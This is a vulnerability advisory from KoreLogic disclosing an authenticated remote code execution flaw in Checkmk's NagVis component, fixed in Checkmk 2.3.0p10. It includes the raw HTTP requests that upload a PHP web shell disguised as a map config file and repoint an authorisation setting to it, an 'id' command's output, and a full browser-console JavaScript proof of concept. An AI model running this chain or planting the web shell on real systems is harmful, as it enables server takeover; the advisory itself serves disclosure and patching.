Affected Systems
Discovered By
Vulnerability Details
Vulnerability Description
The “NagVis” component within Checkmk is vulnerable to remote code execution. An authenticated attacker with administrative level privileges is able to upload a malicious PHP file and modify specific settings to execute the contents of the file as PHP.
Technical Description
Checkmk version 2.3.0.p2 ships with a component named “NagVis”, which is an addon for the network management system “Nagios”. When receiving an HTTP POST request for the “server/core/ajax_handler.php” file, the query and body parameters contained within the request are processed by the script. Specifically, the script accepts the “mod” and “act” query parameters, which specified which “module” and “action” the AJAX handler should invoke.
The Map module in conjunction with the manage action enable
a user to upload a configuration file that will be used to
generate a visual map of data points. The name and extension
of the uploaded file are validated, limiting file names to the
.cfg extension. The contents of the file are not validated. In
fact, a developer comment located within the code for the
ViewManageMaps PHP class calls out this lack of validation:
// FIXME: We really should validate the contents of the file
move_uploaded_file($file['tmp_name'], $file_path);
$CORE->setPerms($file_path);
This lack of validation allows an authenticated attacker
to upload .cfg files with arbitrary contents, effectively
planting the payload for the second stage of this exploit. The
following is an example HTTP request that uploads a malicious
map config file containing PHP code:
POST /cmk/nagvis/server/core/ajax_handler.php?mod=Map&act=manage HTTP/1.1
Host: REDACTED
User-Agent: KoreLogic
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Length: 829
Connection: keep-alive
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="_form_name"
import_map
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="_update"
0
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="mode"
import
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000000
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="_submit"
Import
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="_ajaxid"
1716303027
------WebKitFormBoundarywVfDQNT6TUqAmrdm
Content-Disposition: form-data; name="map_file"; filename="exploit.cfg"
Content-Type: text/plain
<?php system($_GET["cmd"]); ?>
------WebKitFormBoundarywVfDQNT6TUqAmrdm--
The uploaded file is located at
/opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg.
When sending a POST request to the AJAX handler with the
MainCfg module and the edit action, an authenticated
user with administrative privileges can modify system
settings for NagVis. The body parameters of the POST request
contains the various settings associated with NagVis. The
global_authorisation_multisite_file parameter accepts an
absolute file path to the PHP file containing authorization
logic for NagVis. By modifying this value to instead point to
the malicious map config file uploaded earlier, the attacker
controlled contents of the file are executed as PHP when the
authorization handler is invoked (such as when attempting to
view a page in NagVis). The following is an truncated HTTP
request that will perform this settings change:
POST /cmk/nagvis/server/core/ajax_handler.php?mod=MainCfg&act=edit HTTP/1.1
Host: REDACTED
User-Agent: KoreLogic
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9YYnBsaDteptwiuR
Content-Length: 44877
Connection: keep-alive
...
[TRUNCATED]
...
------WebKitFormBoundary9YYnBsaDteptwiuR
Content-Disposition: form-data; name="global_authorisation_multisite_file"
/opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg
...
[TRUNCATED]
...
Now that the exploit file is in place and the proper setting has
been updated, an HTTP request can be sent containing the CMD
query parameter. The value of the the parameter will be executed
as a shell command and the response will be included in the
HTTP response. The following is an HTTP request demonstrating
that ability:
GET /cmk/nagvis/frontend/nagvis-js/?cmd=id HTTP/1.1
Host: REDACTED
User-Agent: KoreLogic
Cookie: auth_cmk=REDACTED;
Connection: close
HTTP response containing output of id command:
HTTP/1.1 200 OK
Date: Wed, 22 May 2024 19:52:45 GMT
Server: Apache
...
[TRUNCATED]
...
Content-Type: text/html; charset=UTF-8
Content-Length: 2543
uid=1000(cmk) gid=1000(cmk) groups=1000(cmk),107(omd)
Error (Error): Call to undefined function all_users()array(1) {
[0]=>
array(2) {
["function"]=>
...
[TRUNCATED]
...
Mitigation and Remediation Recommendation
This issue has been remediated in Nagvis 1.9.42 and Checkmk 2.3.0p10, both released 2024-07-15.
Credit
This vulnerability was discovered by Jaggar Henry and Jim Becher of KoreLogic, Inc.
Proof of Concept
- Authenticate to Checkmk as an administrative user
- Navigate to
/cmk/nagvis/frontend/nagvis-js/index.php - Open the JavaScript developer console in the browser
- Execute the following JavaScript:
formData = new FormData();
formData.append('_form_name', 'import_map');
formData.append('_update', '0');
formData.append('mode', 'import');
formData.append('MAX_FILE_SIZE', '1000000');
formData.append('_submit', 'Import');
formData.append('_ajaxid', '1716303027');
const blob = new Blob(['<?php system($_GET["cmd"]); ?>'], { type: 'text/plain' });
const file = new File([blob], 'exploit.cfg', { type: 'text/plain' });
formData.append('map_file', file);
(async () => {
await fetch('/cmk/nagvis/server/core/ajax_handler.php?mod=Map&act=manage', {
method: 'POST',
body: formData,
});
var configResponse = await fetch('/cmk/nagvis/server/core/ajax_handler.php?mod=MainCfg&act=edit');
var configFormData = (await configResponse.json())['code'];
document.body.innerHTML = configFormData;
var authFileToggle = document.querySelector(
"input[name='toggle_global_authorisation_multisite_file']",
);
var authFileLocation = document.querySelector(
"input[name='global_authorisation_multisite_file']",
);
authFileToggle.value = '1';
authFileLocation.value = '/opt/omd/sites/cmk/etc/nagvis/maps/exploit.cfg';
document.querySelector('#edit_config').submit();
window.location = '/cmk/nagvis/frontend/nagvis-js/?cmd=id';
})();
The contents of this advisory are copyright(c) 2025 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/
KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html
Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy
Disclosure Timeline
KoreLogic reports vulnerability details to Checkmk Security Team.
Checkmk acknowledges receipt.
Checkmk requests an extension of embargo to 90 business days.
Checkmk/NagVis release versions featuring remediation for the reported vulnerability. Checkmk neglects to inform KoreLogic of this event.
KoreLogic requests an update from Checkmk but receives no reply.
KoreLogic public disclosure.
Responsible Disclosure
KoreLogic follows responsible disclosure practices. All vulnerabilities are reported to affected vendors with appropriate time for remediation before public disclosure.